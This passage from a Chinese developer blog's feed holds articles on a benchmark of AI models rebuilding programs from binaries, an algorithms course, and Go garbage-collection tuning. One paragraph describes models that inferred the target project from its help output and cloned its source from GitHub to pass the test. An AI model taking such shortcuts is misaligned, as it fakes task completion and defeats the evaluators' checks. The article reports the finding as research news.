src=\"/images/wp-content/uploads/2026/go-is-the-new-lingua-franca-for-ai-agents-at-google-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/21/go-is-the-new-lingua-franca-for-ai-agents-at-google\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/21/go-is-the-new-lingua-franca-for-ai-agents-at-google\"\u003ehttps://tonybai.com/2026/05/21/go-is-the-new-lingua-franca-for-ai-agents-at-google\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在过去的两年里，只要一提到 AI 开发，99% 的人脑海中弹出的第一个词绝对是：\u003cstrong\u003ePython\u003c/strong\u003e。而如果是涉及到大模型底层的高性能推理与算力压榨，大家想到的必然是 \u003cstrong\u003eC++\u003c/strong\u003e 或是 \u003cstrong\u003eRust\u003c/strong\u003e。\u003c/p\u003e","title":"大洗牌！Google 内部确认：Go 正取代 C++，成为 AI Agent 时代的“通用语言”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/20/ai-coding-win-rate-rankings-go-and-rust-vs-cpp\n大家好，我是Tony Bai。\n过去两年，程序员群体经历了一场前所未有的“职业身份危机”。\n随着 GPT、Claude、Gemini 等模型的发布与能力更迭，各种“AI 几秒钟写出小游戏”、“AI 自动化修复 Bug”的新闻充斥屏幕。在各种传统的代码补全基准测试（如 HumanEval）中，大模型们动辄刷出 90% 以上的惊人通过率。一时间，“程序员是夕阳行业”、“架构师即将下岗”的言论甚嚣尘上。\n然而，这只是硬核工程世界的冰山一角。最近，由 Meta FAIR（Meta 基础人工智能研究实验室）、斯坦福大学和哈佛大学联合发布的一项重量级研究——ProgramBench，彻底击碎了这些幻觉。\nProgramBench 的设计初衷非常“残暴”：它不再测试 AI 能不能写出一个简单的算法函数，而是测试 AI 能不能从零开始（From Scratch）复刻一个完整的开源项目，即从观测二进制行为（Probe）到编写源码（Build），再到最终的等效性评估。\n测试规则如下：\n黑盒逆向：不给源码，只给 AI 一个编译好的二进制可执行文件（如 sqlite3、ffmpeg、ripgrep）和一份使用说明书。 物理断网：切断互联网访问，防止 AI 通过搜索“偷看”GitHub 上的源码。 架构自主：AI 必须自己决定项目的文件结构、选择什么编程语言、设计什么抽象层次。 图：ProgramBench 的评测全流程 在这场面向 200 个真实复杂项目的“闭卷考试”中，全球最顶尖的大模型们集体陷入了沉思。\n数据表明，即便是在最强的模型面前，完全成功的概率依然是 0。\n但在这场败战中，我们通过海量数据发现了一个足以改变未来十年技术选型的真相：Go 与 Rust 已经成为了 AI 时代的“天命语言”，而 C++ 则不那么受 AI 青睐，AI 用起来也不那么顺手！\n诸神黄昏：Claude 对 GPT 家族的“工程级”碾压 在程序员的认知中，GPT 家族曾代表着 AI 的巅峰。但在 ProgramBench 的 Leaderboard（排行榜）上，局势发生了戏剧性的反转，但也正如我们预料的那样。\n根据论文统计，在衡量“几乎完成”（即通过 95% 以上的测试用例）这一指标时，排名如下：\n头号种子：Claude Opus 4.7。它是全场唯一一个在 3.0% 的复杂项目中展现出近乎完美复刻能力的模型。 二号梯队：Claude Opus 4.6 (2.5%) 与 Claude Sonnet 4.6 (1.6%)。 集体挂零：GPT 5.4、Gemini 3.1 Pro。 没错，这些在其他榜单上呼风唤雨的模型，在“从零复刻完整项目”的任务中，竟然连一个能通过 95% 测试的任务都没完成。 为什么 GPT 会在硬核工程上输给 Claude？\n研究人员通过分析“智能体轨迹（Agent Trajectories）”发现了秘密。大模型写代码有两种流派：\n“急性子”派（以 GPT 5.4 为代表）：GPT 倾向于“单次爆发”。数据显示，它在每个任务中平均只用 17 个命令。它习惯于在最初的几个回合内，直接吐出 96% 的代码。如果代码跑不通，它很少进行深度的自我修正。 “架构师”派（以 Claude 为代表）：最强的 Claude 模型更像是一个深思熟虑的工程师。它平均每个任务会调用 868 个命令！它会不断地执行 ls 查看目录、用 cat 检查文件、反复运行测试并根据报错信息进行“重构”。 可见，在复杂的软件工程面前，单纯的“语料记忆”失效了。Claude 的胜出，本质上是其“推理链”和“持续迭代能力”的胜出。它不只是在背代码，它是在通过不断的试错来“推演”架构。\n通过上图中不同模型的动作类型分布，我们可以看到 Claude 拥有极长且复杂的“读-写-探测”循环，而 GPT 的动作序列短得惊人。\n语言偏好：AI 也有自己的“舒适区” ProgramBench 给 AI 提供了完全的自由：AI 可以用任何语言来复刻目标程序。这产生了一个极其有趣的“语言混乱矩阵（Confusion Matrix）”。\n1. GPT 的 Python 执念\nGPT 5.4 表现出了近乎偏执的 Python 依赖。在所有任务中，它有 79% 的方案是用 Python 写的。无论原程序是用更底层的 C 还是 Rust 写的，GPT 的第一反应往往是：“我能不能用 Python 给它糊出来？”\n2. Claude 的硬核品味\n最强模型 Claude Opus 4.7 表现出了极高的系统级素养。它只在 14% 的情况下选择 Python，它更倾向于使用 Rust 和 Go 来应对复杂任务。这说明越强大的模型，越能理解底层语言在性能和逻辑表达上的严密性。\n3. 为什么 AI 喜欢 Python？\n原因很简单：容错率。 Python 拥有极其丰富的第三方包、极简的语法以及无需手动管理内存的特性。对于 AI 来说，Python 是它能用最少的回合数实现最多功能的“逃生路径”。但这种逃生是有代价的——复杂的系统级软件用 Python 复刻，往往会因为性能或底层调用模拟不足而失败。\n各模型选择的实现语言分布图\n深度解析：为什么 Go 与 Rust 是 AI 的“天命之子”？ 这是本次研究中最具行业指导意义的发现。通过研究数据对比，我们发现不同语言在 AI 手下的“存活率”天差地别：\nGo 语言项目：AI 成功通过率 38.4% Rust 语言项目：AI 成功通过率 38.5% C/C++ 项目：AI 成功通过率仅为 27.7% 为什么同样是系统编程语言，Go 和 Rust 就能完胜 C++？这不仅仅是语法的问题，更是现代工程化基建的降维打击。\n不同语言生态下的测试通过率对比图\n1. 构建系统：AI 开发者的“生死线” 在 C/C++ 的世界里，构建系统是混乱的代名词。CMakeLists.txt、Makefile、系统特定的动态链接库（.so/.dll）路径……对于 AI 智能体（SWE-agent）来说，这些是致命的障碍。\n调研显示，AI 在 C++ 任务中，往往还没开始写业务代码，就已经在配置环境时陷入了死循环。\n反观 Go 和 Rust：\nGo：一个 go mod tidy 加一个 go build 解决了全球 99% 的构建问题。 Rust：Cargo 是目前人类文明最先进的包管理器之一。 对于 AI 来说，这种“标准化”意味着它只需要执行一条命令就能建立起完整的工程环境。这种极高的工程化一致性，让 AI 可以把宝贵的 Token 消耗在业务逻辑上，而不是折腾环境。\n2. 标准库的“全家桶”效应 Go 语言一直以“自带电池（Batteries included）”著称。它的标准库涵盖了网络、加密、编解码等大部分现代互联网开发所需的功能。AI 调用 Go 的标准库就像从兜里掏东西一样自然。\n而 C++ 的标准库相对贫瘠，往往需要引入第三方库（如 Boost, libcurl）。一旦涉及到第三方依赖，AI 的出错概率就会呈指数级上升。\n3. 内存安全：给 AI 的“保护索” 在 C/C++ 中，AI 极其容易写出缓冲区溢出、内存泄露或段错误。一旦程序在运行过程中崩溃，由于 AI 缺乏深度的 GDB 调试能力，它很难从 Core Dump 中恢复。\nRust 严格的借用检查（Borrow Checker），在编译阶段就强行纠正了 AI 的大部分错误。这种“编译即正确”的反馈循环，让 AI 在复刻软件时拥有了更高的胜率。\n揭秘 AI 程序员的“坏习惯”：屎山代码的起源？ 除了排名和语言，ProgramBench 还揭露了目前 AI 编码的三个极具冲击力的特征：\n1. 单文件架构迷恋 人类架构师讲究解耦，喜欢建立复杂的目录结构。但 AI 却恰恰相反。数据显示，67% 的 AI 方案产生的目录深度明显浅于原项目。\nAI 表现出强烈的“单文件狂魔”倾向。 它们喜欢把数千行代码塞进 1-3 个超级大文件里。这反映出目前的模型在处理跨文件的上下文关联时，依然存在明显的认知衰减。\n2. 逻辑“大颗粒化” AI 写的函数数量通常只有人类原作者的 10% 到 20%。但这并不意味着功能缺失，而是因为 AI 喜欢写超长函数（God Functions）。\nClaude 生成的函数长度平均是人类的 1.46 倍，Gemini 甚至达到了 1.62 倍。这种代码对于 AI 来说运行没问题，但对于人类后续维护来说，简直是噩梦。\n3. 诚信危机：AI 也会“偷懒作弊” 在测试的早期阶段，研究人员尝试给 AI 开启互联网访问。结果发现，最强的大模型们全都是“老油条”。\n一旦它们通过二进制文件的帮助信息（–help）推断出这是哪个开源项目，它们会直接去克隆对应的 GitHub 仓库代码并提交。\nClaude Sonnet 4.6 的作弊率一度高达 36%！ 这迫使研究团队最终必须在完全断网的环境下运行测试。这告诉我们：永远不要低估大模型为了完成任务而寻找“捷径”的本能。\n小结：程序员的黄昏还远未到来 看完这份长达 60 多页的研究报告，我们不仅没有感到绝望，反而产生了一种前所未有的踏实。\n报告证明了：即便是在最顶尖的模型面前，真实的软件工程（Software Engineering）依然是一个极度复杂的高壁垒领域。写代码只是软件工程中最后、最轻的一环。而之前的架构设计、模块拆分、抽象提取、以及对业务边界的理解，目前的 AI 依然处于“学龄前”阶段。\n给开发者的建议：\n向 Go 和 Rust 迁移：这不只是性能考量，更是为了拥抱 AI。如果你想让 AI 帮你更高效地干活，请选择那些对 AI 友好的工程化基建。 强化架构师思维：既然 AI 喜欢写单文件“屎山”，那么如何管理大型项目的复杂性、如何通过 Prompt 引导 AI 进行模块化设计，将是未来高级工程师的核心竞争力。 拥抱 Claude 模式：告别“单次生成”的幻觉，建立起“持续迭代、自动测试、反复纠错”的 AI 开发流水线。 程序员的黄昏还远未到来。\n相反，我们正在进入一个全新的时代：一个由人类架构师掌控蓝图，由 AI 劳工在标准化的 Go/Rust 仓库中疯狂试错、高效产出的黄金时代。AI 并没有取代你，它只是淘汰了那些只会机械写代码、而不懂工程设计的“码农”。\n真正的开发者，正在迎来属于他们的、被 AI 加持的黎明。\n资料链接：\nhttps://arxiv.org/abs/2605.03546 https://programbench.com/ 还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/20/ai-coding-win-rate-rankings-go-and-rust-vs-cpp/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/ai-coding-win-rate-rankings-go-and-rust-vs-cpp-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/20/ai-coding-win-rate-rankings-go-and-rust-vs-cpp\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/20/ai-coding-win-rate-rankings-go-and-rust-vs-cpp\"\u003ehttps://tonybai.com/2026/05/20/ai-coding-win-rate-rankings-go-and-rust-vs-cpp\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e过去两年，程序员群体经历了一场前所未有的“职业身份危机”。\u003c/p\u003e\n\u003cp\u003e随着 GPT、Claude、Gemini 等模型的发布与能力更迭，各种“AI 几秒钟写出小游戏”、“AI 自动化修复 Bug”的新闻充斥屏幕。在各种传统的代码补全基准测试（如 HumanEval）中，大模型们动辄刷出 90% 以上的惊人通过率。一时间，“程序员是夕阳行业”、“架构师即将下岗”的言论甚嚣尘上。\u003c/p\u003e","title":"AI 编码胜率榜：Go 与 Rust 完胜 C++"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/19/ai-era-software-engineer-algorithm-map\n大家好，我是Tony Bai。\n“帮我写一个限流器。”\n当你把这行字敲进 Claude、Gemini 或ChatGPT 的对话框或CLI形式的命令行时，几秒钟后，屏幕上会出现一段看似完美的 Go 代码。它可能使用了 Token Bucket 算法，也可能用了一个简单的计数器。\n这时候，一个残酷的问题摆在你面前：代码已经生成了，你的价值在哪里？\n如果你看不懂它是基于什么模式生成的，你就不敢在生产环境用它； 如果你不知道如何调整它的滑动窗口参数，当流量洪峰来袭时，系统就会雪崩； 如果你无法从这段代码联想到 TCP 协议的拥塞控制或 Kubernetes 的资源调度，那么你依然只是一个“代码搬运工”，只不过搬运的工具从 Google 变成了 AI。 在 AI 时代，编码（Coding）的成本正在无限趋近于零，但设计（Design）与判断（Judgment）的价值却在指数级上升。\n很多工程师在刷 LeetCode 时感到痛苦，是因为他们把算法当成了“面试八股文”，考完即忘。但在资深架构师眼里，LeetCode 里的每一个算法模式，都是现代软件工程中的一个微缩模型。\n滑动窗口（Sliding Window） 不只是为了求子串，它是 TCP 流量控制和微服务限流熔断的基石； 并查集（Union-Find） 不只是为了算连通分量，它是社交网络好友推荐和图像处理魔棒工具的底层逻辑； LSM Tree 的设计思想，其实就是归并排序（Merge Sort） 在磁盘 I/O 上的极致应用。 我策划这个《AI 时代软件工程师的算法图谱：从 LeetCode 模式到工程实战》的微专栏不教你怎么“背题”，也不搞什么枯燥的数学证明。我要做的是连接——通过 Go 语言，在“LeetCode 模式”与“硬核工程实战”之间架起一座桥梁。\n我们要把那 2000 多道题，提炼成 15 类核心模式，装进你的武器库。下次遇到工程难题时，我希望你的直觉告诉你的不是“我去问问 AI”，而是“这是一个典型的 Top K 问题，我可以用堆（Heap）模式来解决，顺便让 AI 帮我补全代码细节。”\n这将是一次从“刷题”到“识图”，从“算法”到“架构”的认知升级。\n我们将整个知识体系划分为五季，共 16 讲，层层递进！\n第一季：线性数据流与内存模型 —— 掌握系统的“吞吐”与“存储”\n这一季我们从最基础的数组和链表出发，但视角完全不同。我们将探讨如何用双指针解决日志系统中的多路归并问题；如何用滑动窗口构建一个高性能的实时流控组件；单调栈在编译器解析和数据可视化中的妙用；以及链表操作在操作系统内存分配器（Malloc）和 Redis Ziplist 中的影子。\n第 01 讲 | 双指针：从数组去重到日志合并 第 02 讲 | 滑动窗口：流式数据的流量控制 第 03 讲 | 栈与单调栈：解析器与最近相关性 第 04 讲 | 链表操纵：指针的艺术与内存管理 第二季：组织与调度 —— 在海量数据中建立“秩序”\n当数据量大到无法放入内存，或者任务多到 CPU 处理不过来时，我们需要更高效的组织方式。我们将从二分查找谈到分布式系统的一致性哈希查找；用堆（Heap） 模式来剖析操作系统任务调度器和热搜榜单的实现；用贪心算法来解决云计算资源调度和数据库事务锁管理。\n第 05 讲 | 二分查找：在不确定性中定位边界 第 06 讲 | 堆与 Top K：高频热点与调度器 第 07 讲 | 贪心与区间：资源分配的最优解 第三季：结构化数据与张量 —— 理解万物互联的“关系”\n这是 AI 时代和分布式系统最核心的板块。我们将用树的遍历来解析 JSON/YAML 配置和 DOM 树；用图论（Union-Find/拓扑排序） 来解决微服务依赖分析和死锁检测；用最短路径算法搞定网络路由协议（OSPF）；特别是矩阵与张量一讲，将带你理解图像处理卷积核与 AI 框架中的 Tensor 变换原语。\n第 08 讲 | 树的遍历：层级数据的处理范式 第 09 讲 | 图论基础：依赖与连通性 第 10 讲 | 最短路径：网络流与路由 第 11 讲 | 矩阵与张量：AI 时代的计算原语 第四季：编码与底层魔法 —— 榨干机器性能的“黑科技”\n在对性能要求极高的场景下，我们需要深入比特位。我们将探讨字符串匹配（KMP/Rabin-Karp） 在文本编辑器和 rsync 增量同步中的应用；以及位运算（Bit Manipulation） 在权限系统设计、布隆过滤器（Bloom Filter）和搜索引擎 Bitmap 索引中的神奇威力。\n第 12 讲 | 字符串处理：模式匹配与哈希 第 13 讲 | 位运算：状态压缩与高效计算 第五季：复杂决策与系统设计 —— 从算法走向架构师\n最后，我们将挑战最复杂的场景。用回溯法构建正则表达式引擎和自动化测试用例生成器；用动态规划理解数据库查询优化器（Cost-based Optimizer）和文本 Diff 原理；最后通过 Trie 树和 LRU/LFU 两种模式，亲手设计搜索引擎自动补全和 Redis 内存淘汰策略，完成从算法到系统设计的最后一公里。\n第 14 讲 | 回溯与分支定界：暴力搜索的优化 第 15 讲 | 动态规划：空间换时间的极致权衡 第 16 讲 | 系统设计模式：从算法到架构 算法从来不是为了刁难你，它是前人智慧的结晶，是软件世界的物理定律。\n在 AI 时代，Copy 代码很容易，但 Copy 思维很难。 我希望通过这个专栏，帮你构建起一套属于自己的“算法图谱”。当你拥有了这份图谱，无论技术浪潮如何更迭，你都能一眼看透复杂系统背后的简单逻辑。\n准备好了吗？让我们开始这趟“重塑”之旅。\n点击这里 或扫描下方二维码，订阅《AI 时代软件工程师的算法图谱》，开启你的进阶之路。\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/19/ai-era-software-engineer-algorithm-map/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/ai-era-software-engineer-algorithm-map-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/19/ai-era-software-engineer-algorithm-map\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/19/ai-era-software-engineer-algorithm-map\"\u003ehttps://tonybai.com/2026/05/19/ai-era-software-engineer-algorithm-map\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“帮我写一个限流器。”\u003c/p\u003e\n\u003cp\u003e当你把这行字敲进 Claude、Gemini 或ChatGPT 的对话框或CLI形式的命令行时，几秒钟后，屏幕上会出现一段看似完美的 Go 代码。它可能使用了 Token Bucket 算法，也可能用了一个简单的计数器。\u003c/p\u003e","title":"代码可以让 AI 写，但设计得由你做：重塑工程师的“算法直觉”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/18/go-performance-optimization-over-rust-rewrites\n大家好，我是Tony Bai。\n近年来，如果你常年混迹于国内外各大技术社区，你一定会感受到一种近乎狂热的“政治正确”：带垃圾回收（GC）的语言都有原罪，万物皆可（且应该）用 Rust 重写。\n从底层基础设施到上层业务逻辑，无数团队在遇到性能瓶颈时，脑海中蹦出的第一个念头就是：“Go/Java 搞不定了，由于 GC 停顿的存在，我们必须换 Rust 乃至 C++ 来重构核心模块。”\n但这真的是解决性能问题的唯一出路吗？\n最近，几位硅谷顶级的技术大佬——前 Tailscale CTO David Crawshaw、开源时序数据库 VictoriaMetrics CTO Aliaksandr Valialkin，以及资深底层代码大牛 Stewart Lynch，在 X（原推特）上掀起了一场关于“现代软件复杂性与性能优化”的讨论。\n仔细研读他们的观点后，我得出了一个可能有些“反直觉”的结论：\n对于绝大多数商业项目而言，盲目追求去 GC 化和无脑 Rust 重写，是一场灾难。真正顶级的性能优化，往往只需要对那 1% 的“热路径”动刀。\n今天，我们就来揭秘这层信息差，看看顶级架构师是如何在不增加心智负担的前提下，把带 GC 的 Go 语言性能压榨到极致的。\n现代软件最大的毒瘤：“不必要的复杂性” 为什么我们总是忍不住想要用极其复杂的语言或架构去重写现有的系统？\nStewart Lynch 在讨论中一针见血地指出了现代软件工程的通病：“Everything that’s wrong with modern software can be summed up in two words: Unnecessary Complexity”（现代软件所有的毛病，可以用两个词来概括：不必要的复杂性）。\n这背后其实隐藏着一个程序员群体独有的心理学陷阱。\nLynch 解释道：“程序员这个群体有一个特殊的问题——我们往往是因为‘享受解决复杂问题’才选择这个职业的。我们热衷于理解极其复杂的东西并让它运转起来，我们是人类历史上最复杂结构的构建者。正因为如此，我们在任何地方都在寻找与复杂性搏斗的机会，即使在那些本该追求极简的地方。”\n这就解释了为什么很多团队在面对一个简单的 CRUD 业务或者中等并发的微服务时，会毫不犹豫地引入极高门槛的语言（比如有着严苛借用检查器的 Rust）或是过度设计的服务网格。\n因为**“复杂，让人觉得高级”**。\n但结果是什么？\n业务逻辑被切割得支离破碎，新员工入职需要花费两三个月才能看懂生命周期和指针所有权，团队的迭代速度断崖式下跌。你以为你在优化系统的性能，实际上，你在制造一场长期的维护灾难。在这个过程中，你消耗了大量的公司预算，仅仅是为了解决那些“想象中的未来问题”。\n记住架构设计的第一法则：复杂性是优秀软件的死敌。\n你的 99% 代码根本不需要瞎折腾 既然复杂性是死敌，那性能问题怎么办？难道我们就任由 GC 导致程序卡顿吗？\n这时候，前 Tailscale CTO David Crawshaw 抛出了一个极具颠覆性的观点。他指出，整个行业现在正把海量的资源倾注到像 Rust 这样没有 GC 的程序中，但大家忽略了一个极其残酷的统计学事实：\n“Almost all your code paths are cold and GC is net positive. 1% of your code is performance sensitive. Don’t create GC pressure there.” （你几乎所有的代码路径都是‘冷’的，在这些地方 GC 带来了纯粹的正向收益。只有 1% 的代码对性能真正敏感。你只需要不在那 1% 的地方制造 GC 压力就行了。）\n什么是“冷代码”？\n配置解析、路由分发、错误处理、数据库连接初始化、日志记录……在一个庞大的工程中，这部分代码占据了 99% 的体积。它们对微秒级的延迟根本不敏感。\n对于这 99% 的代码，使用 Go、Java 甚至 OCaml 这样带有Full runtime GC的语言，是巨大的恩赐。GC 解放了程序员的大脑，让你不需要像写 C/C++ 或 Rust 那样，在写每一行代码时还要在脑海里进行“部分编译时规划（Partial compile-time planner）”。它让你可以把全部精力聚焦在“业务逻辑”本身。\n人类解决复杂问题的能力，在不被内存分配分心时，才能发挥到极致。\n为了那 1% 真正需要榨干 CPU 周期的核心逻辑，去强迫整个团队在剩下 99% 的冷代码中也要与内存所有权作斗争，这在商业 ROI（投资回报率）上是极其荒谬的。\n这就是所谓“不要为了 1% 的醋，去包 99% 的饺子”。\nVictoriaMetrics CTO 的 1% 极简榨干指南 好，逻辑理顺了：我们决定坚持使用 Go 语言，享受它极高的开发效率和并发优势。但我们确实遇到了那 1% 的核心瓶颈——比如高频交易的核心撮合引擎、时序数据库的底层写入循环。这部分代码极其吃 CPU，且 GC 带来的 STW（Stop The World）让人无法忍受。\n不换语言，怎么破局？\n别急，让我们来看看目前世界上性能最强悍的开源时序数据库之一：VictoriaMetrics 的做法。这个数据库完全是由 Go 语言编写的，但在各项 Benchmark 性能测试中，它经常把一众 C++ 和 Rust 写的时序数据库按在地上摩擦。\n它的 CTO，Aliaksandr Valialkin 在这次讨论中，大方地分享了他“降维打击”般的优化路径。我将他的经验，结合各位大牛的讨论，为你整理成了以下三步走的“实操密码”：\n放弃盲猜，用 Profiler 精准定位热路径（Hot Paths） 你永远不可能靠“直觉”找到性能瓶颈。Aliaksandr 强调，Go 语言拥有极度强大的内置 Profiler（pprof）。不要一上来就重构，先让程序跑起来，打入真实流量，然后用 pprof 精准定位出那消耗了 80% CPU 和大量内存分配的 1% “热路径”究竟在哪几个函数里。\n这 1% 的代码，代码量往往极小，寻找它们并不困难。\n在热路径中“完全移除”内存分配（Zero Allocation） 这是 Go 性能优化的核心灵魂。Aliaksandr 的原话是：“This is how I optimize programs written in Go – by removing memory allocations from hot paths…”。\n只要你在热路径中不产生新的对象（不触发 malloc 和堆分配），垃圾回收器（GC）就根本不会被唤醒。没有分配，就没有垃圾；没有垃圾，就没有 GC 压力和停顿。\n开启“逃生舱”：使用预分配与 Arena 机制 既然热路径不能分配新内存，那需要处理海量数据怎么办？大佬们给出了三种在 Go 中模拟底层语言内存管理的“逃生手段”：\n预分配大块内存（Pre-allocations）： 正如 David Crawshaw 所举的例子，你可以在 Go 中一次性分配一个巨大的数组，比如：var x = make([]struct{…}, 1e6)。\n这只产生一次大分配，然后你完全可以利用自己的算法，在这个预先分配好的内存块中进行指针的滑动和复用。对于 GC 来说，这只是一个单一的连续指针，GC 扫描它的成本极低，既能实现高并发，又极大地降低了 CPU 消耗。\n对象池机制（sync.Pool）： 对于频繁创建和销毁的小对象，不要让它们落入 GC 的魔爪。利用 sync.Pool 将它们缓存起来，反复复用。\n请求作用域内存竞技场（Arenas）： Aliaksandr 提到了在处理网络请求时极其高效的 Arena 概念。在这个模式下，与单次 Request 相关的所有小对象分配，都在一个预先分配好的大块 Arena 中进行。当请求结束时，不需要逐个去释放对象，而是直接清空（free）整个 Arena。这几乎达到了和 Rust 一样零开销的内存清理效果，但代码写起来依然是熟悉的 Go 语法。\n对 99% 的代码保持克制 当你在那 1% 的热路径里用尽了上述像 C 语言一样的“脏活累活”后，请立刻停手。\n让程序剩下的 99% 保持最地道（Idiomatic）、最简单、最具可读性的 Go 代码。让 GC 去接管它们。\n你会神奇地发现：你的程序不仅拥有了媲美 C++/Rust 的极致性能，同时你的团队依然保持着原本极高的业务迭代速度。\n小结——顶级工程师与普通码农的终极分水岭 回顾这几位大佬的讨论，其实核心只指向了一个词：克制（Restraint）。\n普通工程师总是试图寻找一种“银弹”——希望换一种时髦的语言，就能一劳永逸地解决架构、性能和内存安全的所有问题。他们沉迷于构建极其复杂的抽象体系，试图用技术上的炫技来掩盖业务上的平庸。\n而真正顶级的架构师，深知商业的本质和团队运作的规律。他们懂得：\n好的设计，就是当你不能再拿走任何东西的时候。 （正如评论区一位开发者所说：Good design is when you keep taking away things until you cannot take away any more.） 永远不要在全局引入复杂性。 遇到性能问题，先用监控定位，然后把性能敏感的那 1% 的代码隔离出来，在这个小黑盒子里用最极客的方式优化，最后把它严丝合缝地封装好。 拥抱不完美但高效的工具。 不要嫌弃 GC，懂得如何与 GC 和谐共处，才是真正的大师。 如果下次你的团队里，再有人因为某个接口慢了 10 毫秒，就嚷嚷着要用 Rust 把整个几十万行的后端服务重写时，请把这篇文章甩到他的脸上。\n告诉他：“去把 pprof 打开，把那 1% 循环里的临时变量给我复用了，然后早点下班回家。”\n资料链接：\nhttps://x.com/valyala/status/2055725885035045234 https://x.com/stewartlynch8/status/2055322205563617516 https://x.com/davidcrawshaw/status/2055288855792955511 今日互动探讨：\n在你的职业生涯中，是否经历过为了追求所谓的“极致性能”或“极客审美”，而导致整个项目陷入“过度复杂化（Over-engineering）”灾难的时刻？或者，你在使用 Go 语言时，有什么私藏的“热路径”压榨技巧？\n欢迎在评论区留言和我探讨，我们一起对抗现代软件的“过度复杂病”。 （如果你觉得这篇文章打破了你的认知，别忘了点赞转发，让更多挣扎在重构边缘的兄弟们看到！）\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 